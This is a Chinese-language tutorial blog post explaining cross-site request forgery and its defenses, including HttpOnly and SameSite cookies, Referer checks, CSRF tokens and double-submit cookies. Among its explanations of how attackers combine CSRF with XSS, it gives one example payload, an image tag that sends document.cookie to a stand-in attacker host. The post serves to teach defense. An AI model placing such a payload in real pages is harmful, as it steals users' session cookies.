CSRF攻擊與防禦

閱讀時間約 12 分鐘
CSRF全名為 Cross Site Request Forgery( 跨站請求偽造)。
現在的網站大多是用cookie/session的方式來做登入驗證,我們都知道只要user登入成功後,server會在response header 夾帶 session id給瀏覽器,設定在cookie中,之後每次的request都會自動在request header中帶上這個cookie,server只認session id,因此user不用重複登入。
也因為這個特性,只要駭客拿到你存在cookie中的session id,他就可以從他的惡意網站發送request到你這個網站,header中放入偷來的cookie,就可以偽造成是你發送的request。

另一種方式是,駭客不需要拿到你的session id,但是可以讓你自己去觸發這個攻擊。 什麼意思呢?

假如你這個網站session還沒失效(還是登入狀態),不小心逛到駭客的惡意網站,偷發request到你這個網站,由於瀏覽器自動夾帶session cookie,而導致網站誤以為是登入中的user做的動作。
如果只是刪除你寫的文章那可能還好,但如果是銀行系統呢? 把你的錢都轉光,那事情可就大條啦!

至於駭客有哪些攻擊方式呢?
(1) XSS攻擊 + 透過js存取cookie
如之前提到的,利用XSS搭配js的document.cookie語法,把cookie傳到駭客的server,類似這樣:<img src="http://hack.com/hack.php?msg=document.cookie"/>
這就是一種做法。
駭客再把cookie帶在header中送request到你的網站來做攻擊。

所以session id的cookie要記得設定HttpOnly,讓駭客無法透過javascript(document.cookie)拿到session id。
(2) XSS攻擊 + 瀏覽器自動跨域傳送cookie
這邊先稍微提一下,瀏覽器可能在某些情況下,允許cross domain帶上cookie,例如chrome預設samesite是Lax,是比較寬鬆的rule,get request會自動跨域送出cookie,例如html的a tag。(關於chrome samesite設定,後面還會有詳細介紹)

舉例而言,假如有一個你常常在用的購物網站,這邊所謂的跨域是指從其他外部網站連到這個購物網站的意思,也就是從其他domain連過來購物網站,瀏覽器會自動帶上購物網站的cookies。並不是說從這個購物網站連到其他網站,會把這個購物網站的cookies送到其他網站,這邊不要搞混囉!

駭客可以透過XSS在你這個網站植入一個惡意連結,甚至是看不到的隱藏圖片,一旦你誤擊這個惡意連結,就會連到駭客的網站,駭客網站透過瀏覽器發出request到你這個網站,假如你沒有登出,加上網站防禦機制沒有處理好,就有可能被攻擊成功。
以下以程式碼來模擬這樣的情況:
假設這是你的網站,其中click me是被駭客XSS的惡意連結,可以看到session cookie設定上去了:
接著按下click me會導到駭客網站去,如上程式碼,該網站又導回原本的網站,可以發現request header中包含了session cookie:
上面程式碼只是簡單表達,cookie是會跨域傳送的,駭客也是針對這個特性做攻擊的,試想假如你的網站有個get service,可能是http://127.0.0.1/deleteArticle?id=1 類似這樣的url,駭客就可以打這個service來做攻擊,因為cookie會被帶上,網站判斷是登入狀態,文章就被刪除了。

現在知道危險性了嗎? 你可能會想說,那我把service改成post不就好了? 是的,在cookie samesite=Lax的情況下,post request cookie無法跨域。但是! 如果駭客是在同域攻擊呢?
舉例來說,例如你的網站有上傳檔案的功能,駭客偷偷上傳惡意程式碼,因此這個程式碼是在你的網站,駭客的惡意網站程式從不同域變成同域,所以就算改成post也並非一定安全。
(3) Note:
以上介紹的攻擊手法,並不是說一定要XSS才能做CSRF攻擊,而是搭配XSS可以更容易做到,CSRF本身是可以獨立做攻擊的,因為CSRF是利用偽造成是user的方式來達到攻擊的目的,不需要真的拿到cookies資訊。

假如你的網站沒有XSS風險,user若是誤擊駭客的惡意網站連結,還是有可能被CSRF攻擊,因此並不是說不會被XSS就沒事。

那麼該如何防禦CSRF攻擊呢?
1. Server檢查request來源
如上述所說的例子,既然是從駭客的惡意網站來的request,那只要不是本網站允許的request就全擋掉就好啦?

是的,server端可以透過request header中的Referer欄位,來判斷這個request是從哪邊來的,判斷到不允許的domain直接擋掉。但是如果駭客很厲害,可以偽造成是網站的domain,那這個方法就無效了。
BTW: 你可能會問為什麼不用Origin來判斷,因為在某些情況下,可能不會有這個欄位,如IE 11 不會在跨站request帶上Origin。
2. 使用CSRF Token

在撇開XSS的情況下,CSRF攻擊之所以可以成功,並不是因為駭客獲取你的cookie資訊,而是偽裝成是你。

因此,我們可以要求每次的request都必須帶上密碼,用來區分到底是不是正常的請求,因為駭客不知道這個密碼,所以駭客的request就會被擋住,這個密碼我們一般稱為CSRF Token。
CSRF token是由server產生的並儲存在session中,user登入成功後在session設定一組隨機產生的csrf token,並把這個token回傳給前端,前端每次送request都要帶上token,由server來比對是否跟儲存在session中的token是一樣的。
如果是表單,一般會用input hidden來藏token,ajax的話一般會帶在header。

還記得XSS攻擊那篇嗎? 駭客都可以把cookie傳到他那邊了,因此也有可能把CSRF token偷走,畢竟是藏在前端,假如駭客知道網站把token藏在哪,透過js還是可以把token送到它的server。
也就是說,如果網站有XSS風險,這個方法就無效了。
3. Double Submit Cookie
類似上面提到的,也是由server產生csrf token,但是不儲存在session,儲存在cookie,一樣把csrf token藏在前端,每次request由後端比對與cookie中儲存的csrf token是否一樣。
撇開XSS不講,這個防禦方法正是利用駭客無法取得跨域cookies的特點。
由於csrf token儲存在cookie中,即使在cookie samesite=Lax的設定下,get request 瀏覽器雖然會自動送出cookies,但由於駭客不知道cookie中的csrf token value,所以就算在前端form或ajax header中隨便帶一組token,也一定會比對不成功。
但是假如網站被XSS攻擊的話,駭客可以偷偷修改cookies,把csrf token改成他設定的,那就會被攻擊成功了。
另外有一種情況,假如你的網站是前端是www.sample.com,後端是api.sample.com,前端向後端發出post request,需要送出cookie中的csrf token,表單用input hidden,ajax放在header。
但由於前後端domain不一樣,前端拿不到cookie,如下程式碼範例:
後端先設定一個cookie上去:
接著執行前端網站:
可以發現從前端根本拿不到cookies,原因是cookie設定的domain與path的限制,只有api.sample.com拿的到。
因此為了達到雙重cookie驗證的目的,必須想辦法讓前端可以讀取cookies:
一樣先執行後端,讓cookie設定上去:
接著就可以看到,前端可以拿到token了!
因此可以發現,為了使用雙重cookie驗證,讓前端可以讀取cookie,必須把cookie domain設為sample.com,因此所有的sub domain就都可以讀取了。
問題也就來了,萬一你的子網域網站有XSS漏洞,例如可能還有video.sample.com, music.sample.com等等網站,被駭客XSS,駭客是可以修改cookie的,把csrf token改成它的,那就被攻擊成功了。
因此,這個方法沒有被廣泛使用,因為其實沒有比上述的把csrf token存在server還安全,畢竟cookie是有可能被修改的。
4. 限制瀏覽器cookie跨域傳送

CSRF攻擊其實就是基於瀏覽器跨域傳送cookie的特性,來達到攻擊的目的。
所以只要我們讓瀏覽器不要跨域傳送cookie,就會安全許多啦! (當然如果你的網站被XSS變成同域,那就另當別論了。)

現在新版的瀏覽器漸漸開始支援cookie的samesite設定了,透過Cookie SameSite屬性的設定,可以控制cookie是否能跨域傳送。

Chrome 80 之後的 Cookie SameSite屬性設定有三種(預設為 Lax):
  • Strict => 最嚴格,只有domain完全一樣才能發送。
  • Lax => 較寬鬆,例如<a>, <link rel="prerender">, <form method="GET"> 這些get request都可以跨域帶上cookie。
  • None => 一定要多設定Secure屬性,才能允許跨網域發送,且需要HTTPS。
缺點: 目前並非所有的瀏覽器都支持 SameSite 的功能。
可參考: https://caniuse.com/same-site-cookie-attribute

至於為什麼會設計一個Lax出來呢? 我想應該是因為要避免降低使用者體驗吧,例如你有登入過A網站了,但是你關掉A網站先去逛別的網站,之後又點了A網站連結想回來逛逛,如果沒傳送cookie就會被要求重新登入,對user來講是很麻煩的!

結論:

CSRF攻擊的防禦並不是只要針對CSRF做防禦而已,如上述提到的,駭客可能搭配XSS來做攻擊,因此確保網站能夠防禦XSS跟CSRF才是最安全的。
本文章提到許多防禦CSRF攻擊的方法,設定samesite cookie 屬性雖然可以從源頭解決問題,但目前並非所有瀏覽器都有支援,因此最好搭配本文提到的其他防禦方法,才是最安全的。
為什麼會看到廣告
21會員
161內容數
留言0
查看全部
發表第一個留言支持創作者!
Vic Lin的沙龍 的其他內容
1. 設定cookie為HttpOnly 在一般的情況下,cookie是可以透過javascript來存取的(document.cookie),如同上一篇所說的,有可能會有XSS攻擊的風險。 將cookie設定為HttpOnly,表示這個cookie無法透過js存取。
Cross-Site Scripting簡稱XSS,它指的是駭客在網頁裡插入惡意程式碼,當其他user瀏覽該網頁時,惡意網頁程式碼就會被執行。
Connection Pool中文為連線池,是位於DB前面的緩衝區。 假如我們只是要一個簡單的query功能,下了一個簡單的查詢SQL,可是卻花了很多時間執行,而且每次都要花這麼多時間,這樣豈不是很浪費嗎? 然而,花時間的地方可能不是你SQL效能的問題,而是你沒使用connection pool。
以瀏覽www.google.com為例,瀏覽器需先找到www.google.com對應的ip地址,才能得到網頁資料,顯示在瀏覽器中。 那要如何才能找到ip呢? 這邊就要提到DNS(Domain Name System),他是一個資料庫,裡面紀錄了域名跟IP的對應,瀏覽器透過DNS可以找到IP。
結構化資料: 事先定義好每個欄位可以存放什麼資料,這種儲存的資料就是結構化資料。 像是關聯式資料庫中的資料,需要先把table欄位定義好,之後才能儲存資料。 半結構化資料: 無需事先定義好資料欄位,每一筆資料能夠根據需求儲存不同的欄位,因此很有彈性,如JSON, XML等等。 非結構化資料: 未整理
OAuth 2.0 是一個開放標準,允許user授權第三方應用存取該user的私有資料,而無需提供帳密資料給第三方應用。
1. 設定cookie為HttpOnly 在一般的情況下,cookie是可以透過javascript來存取的(document.cookie),如同上一篇所說的,有可能會有XSS攻擊的風險。 將cookie設定為HttpOnly,表示這個cookie無法透過js存取。
Cross-Site Scripting簡稱XSS,它指的是駭客在網頁裡插入惡意程式碼,當其他user瀏覽該網頁時,惡意網頁程式碼就會被執行。
Connection Pool中文為連線池,是位於DB前面的緩衝區。 假如我們只是要一個簡單的query功能,下了一個簡單的查詢SQL,可是卻花了很多時間執行,而且每次都要花這麼多時間,這樣豈不是很浪費嗎? 然而,花時間的地方可能不是你SQL效能的問題,而是你沒使用connection pool。
以瀏覽www.google.com為例,瀏覽器需先找到www.google.com對應的ip地址,才能得到網頁資料,顯示在瀏覽器中。 那要如何才能找到ip呢? 這邊就要提到DNS(Domain Name System),他是一個資料庫,裡面紀錄了域名跟IP的對應,瀏覽器透過DNS可以找到IP。
結構化資料: 事先定義好每個欄位可以存放什麼資料,這種儲存的資料就是結構化資料。 像是關聯式資料庫中的資料,需要先把table欄位定義好,之後才能儲存資料。 半結構化資料: 無需事先定義好資料欄位,每一筆資料能夠根據需求儲存不同的欄位,因此很有彈性,如JSON, XML等等。 非結構化資料: 未整理
OAuth 2.0 是一個開放標準,允許user授權第三方應用存取該user的私有資料,而無需提供帳密資料給第三方應用。
你可能也想看
Google News 追蹤
Thumbnail
這個秋,Chill 嗨嗨!穿搭美美去賞楓,裝備款款去露營⋯⋯你的秋天怎麼過?秋日 To Do List 等你分享! 秋季全站徵文,我們準備了五個創作主題,參賽還有機會獲得「火烤兩用鍋」,一起來看看如何參加吧~
Thumbnail
美國總統大選只剩下三天, 我們觀察一整週民調與金融市場的變化(包含賭局), 到本週五下午3:00前為止, 誰是美國總統幾乎大概可以猜到60-70%的機率, 本篇文章就是以大選結局為主軸來討論近期甚至到未來四年美股可能的改變
Thumbnail
Faker昨天真的太扯了,中國主播王多多點評的話更是精妙,分享給各位 王多多的點評 「Faker是我們的處境,他是LPL永遠繞不開的一個人和話題,所以我們特別渴望在決賽跟他相遇,去直面我們的處境。 我們曾經稱他為最高的山,最長的河,以為山海就是盡頭,可是Faker用他28歲的年齡...
Thumbnail
舉凡在這期間(10/10以前)加入的同學,新手及收費以5000為主,一路到明年漲價前都適用。高手級方案只要有至於快速學習者,建議此方案,10000-11000元學費可以一起討論,天數也是。最後,大師級方案,定價20000,給予的天數最多到120天。 快點,放假就來思考要不要加入未來的交易大行情吧!
在現今數位化的時代,網路攻擊頻率持續上升,其中又以DDoS攻擊最為常見且具破壞性。面對這種威脅,企業如何保護自身的網路資源成為了一大挑戰。CDN(內容傳遞網絡)作為一種有效的防禦工具,不僅能提升網站的性能與用戶體驗,還能大幅降低DDoS攻擊的風險。
在數位化日益深入的今天,駭客網路攻擊成為了各種組織和個人面臨的嚴重挑戰。本文將探討駭客網路攻擊的種類、影響及其防範策略,幫助讀者更好地理解和應對這一重要的安全問題。 什麼是駭客網路攻擊? 駭客網路攻擊是指未經授權的個人或組織通過技術手段,針對計算機系統、網路基礎設施或數據進行的攻擊行為。攻擊者可
本篇文章分享了來自股癌 Podcast 中的投資見解與想法,重點討論了研華公司的參訪和未來展望,以及特斯拉在中國市場的動態和前景。作者提出了對工業電腦市場和特斯拉的投資見解,並分享了對企業投資的一些思考。
Thumbnail
​ 台灣第一大縣市新北市轄內有二十九個行政區、幾乎每個行政區都有該行政區體育園區。小編之前介紹過土城體育園區、泰山體育園區、新莊體育園區。這篇接續來介紹樹林體育園區。 樹林體育園區相關資訊:: ​地址: 新北市樹林區水源街81號 ​開放時間: AM6:00-PM22:00 ​電話:
Thumbnail
2023/09/14-16國際航太暨國防工業展。我的參觀範圍主要為國防館的空軍,以及模擬飛行相關區域。本文為觀展紀錄、空軍知識以及體驗分享。展場包含國防工業設備與技術、航太工業設備與技術、工具機與其他加工設備、太空科技產業、航太扣件、軍規部品及訓練用具、無人系統、載具及智慧應用產品、玩具槍產業。
Thumbnail
企業經營者(董事、高階幹部)持有自家股權、買進庫藏股等,都是對所屬公司抱持絕佳信心的最好證明,ABVC公司日前宣布Patil博士為新任CEO,其具備學界、業界及金融界的實務經驗,將可帶領公司再創新猷;上任不久,Patil博士再宣布將放棄固定薪資,採持有股權方式,與公司共享經營成果,激勵投資人放心支持
Thumbnail
這個秋,Chill 嗨嗨!穿搭美美去賞楓,裝備款款去露營⋯⋯你的秋天怎麼過?秋日 To Do List 等你分享! 秋季全站徵文,我們準備了五個創作主題,參賽還有機會獲得「火烤兩用鍋」,一起來看看如何參加吧~
Thumbnail
美國總統大選只剩下三天, 我們觀察一整週民調與金融市場的變化(包含賭局), 到本週五下午3:00前為止, 誰是美國總統幾乎大概可以猜到60-70%的機率, 本篇文章就是以大選結局為主軸來討論近期甚至到未來四年美股可能的改變
Thumbnail
Faker昨天真的太扯了,中國主播王多多點評的話更是精妙,分享給各位 王多多的點評 「Faker是我們的處境,他是LPL永遠繞不開的一個人和話題,所以我們特別渴望在決賽跟他相遇,去直面我們的處境。 我們曾經稱他為最高的山,最長的河,以為山海就是盡頭,可是Faker用他28歲的年齡...
Thumbnail
舉凡在這期間(10/10以前)加入的同學,新手及收費以5000為主,一路到明年漲價前都適用。高手級方案只要有至於快速學習者,建議此方案,10000-11000元學費可以一起討論,天數也是。最後,大師級方案,定價20000,給予的天數最多到120天。 快點,放假就來思考要不要加入未來的交易大行情吧!
在現今數位化的時代,網路攻擊頻率持續上升,其中又以DDoS攻擊最為常見且具破壞性。面對這種威脅,企業如何保護自身的網路資源成為了一大挑戰。CDN(內容傳遞網絡)作為一種有效的防禦工具,不僅能提升網站的性能與用戶體驗,還能大幅降低DDoS攻擊的風險。
在數位化日益深入的今天,駭客網路攻擊成為了各種組織和個人面臨的嚴重挑戰。本文將探討駭客網路攻擊的種類、影響及其防範策略,幫助讀者更好地理解和應對這一重要的安全問題。 什麼是駭客網路攻擊? 駭客網路攻擊是指未經授權的個人或組織通過技術手段,針對計算機系統、網路基礎設施或數據進行的攻擊行為。攻擊者可
本篇文章分享了來自股癌 Podcast 中的投資見解與想法,重點討論了研華公司的參訪和未來展望,以及特斯拉在中國市場的動態和前景。作者提出了對工業電腦市場和特斯拉的投資見解,並分享了對企業投資的一些思考。
Thumbnail
​ 台灣第一大縣市新北市轄內有二十九個行政區、幾乎每個行政區都有該行政區體育園區。小編之前介紹過土城體育園區、泰山體育園區、新莊體育園區。這篇接續來介紹樹林體育園區。 樹林體育園區相關資訊:: ​地址: 新北市樹林區水源街81號 ​開放時間: AM6:00-PM22:00 ​電話:
Thumbnail
2023/09/14-16國際航太暨國防工業展。我的參觀範圍主要為國防館的空軍,以及模擬飛行相關區域。本文為觀展紀錄、空軍知識以及體驗分享。展場包含國防工業設備與技術、航太工業設備與技術、工具機與其他加工設備、太空科技產業、航太扣件、軍規部品及訓練用具、無人系統、載具及智慧應用產品、玩具槍產業。
Thumbnail
企業經營者(董事、高階幹部)持有自家股權、買進庫藏股等,都是對所屬公司抱持絕佳信心的最好證明,ABVC公司日前宣布Patil博士為新任CEO,其具備學界、業界及金融界的實務經驗,將可帶領公司再創新猷;上任不久,Patil博士再宣布將放棄固定薪資,採持有股權方式,與公司共享經營成果,激勵投資人放心支持